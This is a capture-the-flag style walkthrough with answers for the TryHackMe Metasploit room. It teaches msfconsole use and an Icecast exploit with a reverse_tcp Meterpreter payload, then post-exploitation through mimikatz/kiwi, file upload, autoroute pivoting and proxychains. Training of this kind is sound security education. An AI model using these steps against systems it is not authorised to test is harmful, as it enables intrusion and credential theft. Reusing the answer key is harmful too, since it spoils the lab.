Metasploit
Date: 23, February, 2021
Author: Dhilip Sanjay S
Click Here to go to the TryHackMe room.
Metasploit
Metasploit, an open-source pentesting framework, is a powerful tool utilized by security engineers around the world.
Maintained by Rapid 7, Metasploit is a collection of not only thoroughly tested exploits but also auxiliary and post-exploitation tools.
Initializing
Initialize the database:
msfdb init
To view the advance options we can trigger for starting the console:
msfconsole -h
Start Metasploit using the command:
msfconsole
To check whether we have connected to the database:
db_status
We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the '-'
Answer: -q
Steps to Reproduce: By running
msfconsole -h
, we get to know that-q
or--quiet
option is used to start msfconsole withou banner.
Cool! We've connected to the database, which type of database does Metasploit 5 use?
Answer: postgresql
Steps to Reproduce:
Commands
To view the help menu:
help
The help menu has a very short one-character alias, what is it?
Answer: ?
Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?
Answer: search
Once we've found the module we want to leverage, what command we use to select it as the active module?
Answer: use
How about if we want to view information about either a specific module or just the active one we have selected?
Answer: info
Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can 'talk' to it. What command is this?
Answer: connect
Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?
Answer: banner
Metasploit supports the use of global variables, something which is incredibly useful when you're specifically focusing on a single box. What command changes the value of a variable globally?
Answer: setg
Now that we've learned how to change the value of variables, how do we view them? \
Answer: get
How about changing the value of a variable to null/no value?
Answer: unset
What command can we use to set our console output to save to a file?
Answer: spool
What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.
Answer: save
Modules for every occassion
Metasploit consists of six core modules that make up the bulk of the tools
Metasploit Filesystem
Data
Documentation
Lib
Modules
Auxiliary
Encoders
Exploits
Nops
Payloads
Post
Plugins
Scripts
Tools
Metasploit Libraries
Number of MSF libraries allow us to run oru exploits without writing additional code for rudimentary tasks.
REX - Handles sockets, protocols, text transformations.
MSF::CORE - provies the basic API
MSF::BASE - Provides friendly API
Metasploit modules
Exploits - Modules that use payloads
Auxiliary - Port scanners, fuzzers, sniffers, etc.
Payloads - consists of code that runs remotely
Encoders - ensure that payloads make it ot their destination intact
Nops - (No OPeration) keep the payload sizes consistent across exploit attempts.
Post - post exploitation module
Loading Addition module trees
While starting -
msfconsole -m ~/secret-modules/
Inside msfconsole -
loadpath /path/to/modules/exploits
Easily the most common module utilized, which module holds all of the exploit code we will use?
Answer: exploit
Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?
Answer: payload
Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.
Answer: auxiliary
One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?
Answer: post
Commonly utilized in payload obfuscation, which module allows us to modify the 'appearance' of our exploit such that we may avoid signature detection?
Answer: encoder
Last but not least, which module is used with buffer overflow and ROP attacks?
Answer: nop
Not every module is loaded in by default, what command can we use to load different modules?
Answer: load
Note:
load
- to load a framework plugin.loadpath
- to load a module from a path.
Move that shell!
Metasploit comes with a built-in way to run nmap and feed it's results directly into our database ->
db_nmap -sV MACHINE_IP
.Run the following commands:
hosts
services
vulns
What service does nmap identify running on port 135?
Answer: msrpc
For example, try this out now with the following command use icecast
. What is the full path for our exploit that now appears on the msfconsole prompt?
use icecast
. What is the full path for our exploit that now appears on the msfconsole prompt?Answer: exploit/windows/http/icecast_header
What is the name of the column on the far left side of the console that shows up next to 'Name'?
Answer: #
Steps to Reproduce:
search multi/handler
Further Instructions
use NUMBER_NEXT_TO exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
use icecast
set LHOST YOUR_IP_ON_TRYHACKME
set RHOST MACHINE_IP
exploit
orrun -j
jobs
- to view the active jobs.sessions
- to view the active sessions.
We're in, now what?
To interact with a session ->
session -i #
(# - session number)To push a session to background ->
background
First, let's list the processes using the command ps. What's the name of the spool service?
Answer: spoolsv.exe
Steps to Reproduce:
Let's go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won't work at the current time as we don't have sufficient privileges but we can still try!
Answer: migrate
Steps to Reproduce:
Note: The pid of spoolsv.exe is 1372
Reasons for migration
Well that migration didn't work, let's find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?
Answer: getuid
Steps to Reproduce:
How about finding more information out about the system itself?
Answer: sysinfo
Steps to Reproduce:
This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?
Answer: load kiwi
Note: Latest version of mimikatz is called as kiwi. It is a post exploitation tool.
Let's go ahead and figure out the privileges of our current user, what command do we run?
Answer: getprivs
Steps to Reproduce:
Run
help
command.
What command do we run to transfer files to our victim computer?
Answer: upload
How about if we want to run a Metasploit module?
Answer: run
A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?
Answer: ipconfig
Running post modules
To determine if we are in a VM.
To check for various exploit for privilege escalation.
To try forcing RDP to be available. (In this machine, we don't have the privileges yet.)
One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?
Answer: shell
Steps to Reproduce:
Makin' Cisco proud
What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.
Answer: run autoroute -s 172.18.1.0 -n 255.255.255.0
Steps to Reproduce:
Subnet mask of
/24
-> 255.255.255.0
Additionally, we can start a socks5 proxy server out of this session. Background our current meterpreter session and run the command search server/socks5. What is the full path to the socks5 auxiliary module?
Answer: auxiliary/server/socks5
Steps to Reproduce:
Updates in latest version of msfconsole
Once we've started a socks server we can modify our /etc/proxychains.conf
file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?
/etc/proxychains.conf
file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks5 server with proxychains?Answer: proxychains
Note:
By adding
proxychains
before our command, we can run them through our socks5 server.Example:
proxychains nmap <IP>
Reference Links
Last updated